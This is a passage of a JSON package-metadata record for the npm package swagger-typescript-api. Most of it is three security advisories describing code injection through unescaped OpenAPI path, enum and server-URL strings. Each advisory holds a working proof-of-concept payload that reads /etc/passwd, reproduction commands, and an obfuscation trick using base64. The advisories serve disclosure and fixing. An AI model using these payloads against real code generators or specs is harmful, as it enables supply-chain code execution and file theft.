/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.5.0/manifests"},{"name":"1.4.1","sha":"bec68a385d3fc1a729020114cc0ff2cef328a689","kind":"commit","published_at":"2020-03-02T11:22:46.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.4.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"131225d7c6ec69925f6ef2ec8817b9314ca22d76","kind":"commit","published_at":"2020-02-28T06:24:33.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.4.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"55638d545c8b680b635722434859f65b9777e8a9","kind":"commit","published_at":"2020-02-24T09:55:40.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.3.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.3.0/manifests"},{"name":"1.2.6","sha":"fdf23f30d999ea2a32221066f768f8b7f6105c79","kind":"commit","published_at":"2020-02-19T21:55:43.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.2.6","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.2.6/manifests"}]},"repo_metadata_updated_at":"2026-10-09T18:43:41.510Z","dependent_packages_count":161,"downloads":2458950,"downloads_period":"last-month","dependent_repos_count":205,"rankings":{"downloads":0.3649449334173133,"dependent_repos_count":1.1192013228492776,"dependent_packages_count":0.320440782118088,"stargazers_count":1.8871347065075188,"forks_count":2.0873625653396743,"docker_downloads_count":0.38334310256950554,"average":1.0270712354668963},"purl":"pkg:npm/swagger-typescript-api","advisories":[{"uuid":"GSA_kwCzR0hTQS13Mjg0LTMzbXgtNmc5ds4ABgrC","url":"https://github.com/advisories/GHSA-w284-33mx-6g9v","title":"swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies","description":"### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n  /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `\u003c%~ path %\u003e`,\n```\n\nThe `\u003c%~ %\u003e` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n  this.request\u003cvoid, any\u003e({\n    path: `/api/${(async () =\u003e {\n      // ATTACKER CODE EVALUATED HERE on every call to api.\u003c...\u003e.evilCall()\n      // — full Node.js capabilities: dynamic import('node:fs'), child_process,\n      //   network egress, environment access, etc.\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nBiome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=\u003e{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [{ \"url\": \"https://api.example.com\" }],\n  \"paths\": {\n    \"/api/${(async()=\u003e{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items\": {\n      \"get\": {\n        \"operationId\": \"evilCall\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m =\u003e m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import('./out/Api.bundle.mjs');\n  const api = new mod.Api();\n  // Stub the request implementation so there is no real network call —\n  // only the path template literal is evaluated, which is what fires the IIFE.\n  api.request = async () =\u003e ({ ok: true });\n  const group = api.api;\n  await group[Object.keys(group)[0]]();\n  await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body — payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n  this.request\u003cvoid, any\u003e({\n    path: `/api/${(async () =\u003e {\n      try {\n        const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n        const f = await import(m);\n        const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n        f.writeFileSync(\"/tmp/sta_canary\", d);\n      } catch (e) {}\n      return \"x\";\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets — any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces — any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T14:35:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/advisories/GHSA-w284-33mx-6g9v"],"source_kind":"github","identifiers":["GHSA-w284-33mx-6g9v","CVE-2026-54666"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T15:00:34.288Z","updated_at":"2026-10-12T08:02:15.768Z","epss_percentage":0.00477,"epss_percentile":0.38529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Mjg0LTMzbXgtNmc5ds4ABgrC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Mjg0LTMzbXgtNmc5ds4ABgrC","packages":[{"ecosystem":"npm","package_name":"swagger-typescript-api","versions":[{"first_patched_version":"13.12.2","vulnerable_version_range":"\u003c= 13.12.1"}],"purl":"pkg:npm/swagger-typescript-api"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Mjg0LTMzbXgtNmc5ds4ABgrC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Zjk0LXgyMjYtY2Nwbc4ABgrB","url":"https://github.com/advisories/GHSA-5f94-x226-ccpm","title":"swagger-typescript-api vulnerable to code injection via unescaped enum string values","description":"### Summary\n\n`swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call — only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.\n\n### Details\n\nThe root cause is `Ts.StringValue` in `src/configuration.ts:250`:\n\n```ts\nStringValue: (content: unknown) =\u003e `\"${content}\"`,\n```\n\nIt wraps a value in double quotes with **zero escaping** — no handling of `\"`, `\\`, newlines, or anything else. The codebase's only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path.\n\nEnum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`:\n\n```ts\nreturn this.config.Ts.StringValue(value);\n// ...\nvalue: this.config.Ts.StringValue(enumName),\n```\n\nThe result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: \"enum\"` branch, lines 24-31):\n\n```ejs\nexport enum \u003c%~ name %\u003e {\n  \u003c%~ _.map($content, ({ key, value, description }) =\u003e {\n    ...\n    return [\n      formattedDescription \u0026\u0026 `/** ${formattedDescription} */`,\n      `${key} = ${value}`\n    ].filter(Boolean).join(\"\\n\");\n  }).join(\",\\n\") %\u003e\n}\n```\n\nWhere `${value}` is the result of `Ts.StringValue` — raw `\"${content}\"`. An attacker-controlled enum value containing a `\"` closes the string and exposes the surrounding code position to injection.\n\nA `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `\"` that `Ts.StringValue` still appends, and the template's own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import('./generated.js')`.\n\nThe same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious enum value** (literal string, JSON-encoded in the spec below):\n\n```\nblue\";}\u003cNEWLINE\u003e{(async()=\u003e{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"EnumPayloadAPI\", \"version\": \"1.0.0\" },\n  \"components\": {\n    \"schemas\": {\n      \"Color\": {\n        \"type\": \"string\",\n        \"enum\": [\n          \"red\",\n          \"blue\\\";}\\n{(async()=\u003e{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//\"\n        ]\n      }\n    }\n  },\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": { \"application/json\": { \"schema\": { \"$ref\": \"#/components/schemas/Color\" } } }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m =\u003e m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import('./out/Api.bundle.mjs'); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (enum block — payload):**\n\n```ts\n    export enum Color {\n  Red = \"red\",\n  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = \"blue\";}\n{(async()=\u003e{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//\"\n }\n```\n\nThe `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.\n\n**Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`\"enum\": [\"red\", \"blue\"]`) generates a clean enum and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.\n\n**Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value — they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.\n\n**Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal — escape at minimum `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions).\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T14:33:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/advisories/GHSA-5f94-x226-ccpm"],"source_kind":"github","identifiers":["GHSA-5f94-x226-ccpm","CVE-2026-54664"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T15:00:34.288Z","updated_at":"2026-10-12T08:02:15.769Z","epss_percentage":0.00477,"epss_percentile":0.38529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Zjk0LXgyMjYtY2Nwbc4ABgrB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Zjk0LXgyMjYtY2Nwbc4ABgrB","packages":[{"ecosystem":"npm","package_name":"swagger-typescript-api","versions":[{"first_patched_version":"13.12.2","vulnerable_version_range":"\u003c= 13.12.1"}],"purl":"pkg:npm/swagger-typescript-api"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Zjk0LXgyMjYtY2Nwbc4ABgrB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOGMzLXd2M2MtdjN4as4ABgrA","url":"https://github.com/advisories/GHSA-38c3-wv3c-v3xj","title":"swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template","description":"### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `\"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.\n\nThis is the *axios* sibling of the previously reported fetch-client RCE — same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `\u003c%~ %\u003e` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` — closes both at once.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body:\n\n```ejs\nconstructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig\u003cSecurityDataType\u003e = {}) {\n    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || \"\u003c%~ apiConfig.baseUrl %\u003e\" })\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path.\n\nThe injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible — but **computed property keys** are. A spec value of the form:\n\n```\nURL\", [(IIFE)()]: 0, dummy: \"\n```\n\nproduces the following object literal:\n\n```js\naxios.create({\n  ...axiosConfig,\n  baseURL: axiosConfig.baseURL || \"URL\",\n  [(IIFE)()]: 0,\n  dummy: \"\"\n})\n```\n\nThe IIFE evaluates eagerly when the object literal is constructed — i.e. every time `new HttpClient()` runs. The trailing `dummy: \"\"` reopens a string that the template's own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\n**Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:\n\n- Every README example in this repository does `const api = new Api()` at module top level.\n- `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.\n- Top-level `const api = new Api()` runs at module load — the consumer cannot import without instantiating in the documented usage pattern.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\", [(async () =\u003e { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"AxiosPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\", [(async () =\u003e { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild axios\nnode -e \"import('swagger-typescript-api').then(m =\u003e m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import('./out/Api.bundle.mjs');\n  new mod.HttpClient();\n  await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (constructor — payload, Biome-formatted):**\n\n```ts\nconstructor({\n  securityWorker,\n  secure,\n  format,\n  ...axiosConfig\n}: ApiConfig\u003cSecurityDataType\u003e = {}) {\n  this.instance = axios.create({\n    ...axiosConfig,\n    baseURL: axiosConfig.baseURL || \"https://api.example.com\",\n    [(async () =\u003e {\n      try {\n        const fs = await import(\"node:fs\");\n        const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n        fs.writeFileSync(\"/tmp/sta_canary\", data);\n      } catch (e) {}\n      return \"pwned\";\n    })()]: 0,\n    dummy: \"\",\n  });\n  this.secure = secure;\n  this.format = format;\n  this.securityWorker = securityWorker;\n}\n```\n\nThe `[(async () =\u003e { ... })()]: 0` is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `baseURL: ... || \"https://api.example.com\"` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: \"axios\"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:\n\n- `sta generate --http-client axios --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import — `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form — fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-29T14:31:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj","https://github.com/acacode/swagger-typescript-api/pull/1779","https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de","https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2","https://github.com/advisories/GHSA-38c3-wv3c-v3xj"],"source_kind":"github","identifiers":["GHSA-38c3-wv3c-v3xj","CVE-2026-54661"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T15:00:34.288Z","updated_at":"2026-10-12T08:02:15.769Z","epss_percentage":0.00477,"epss_percentile":0.38529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGMzLXd2M2MtdjN4as4ABgrA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOGMzLXd2M2MtdjN4as4ABgrA","packages":[{"ecosystem":"npm","package_name":"swagger-typescript-api","versions":[{"first_patched_version":"13.12.2","vulnerable_version_range":"\u003c= 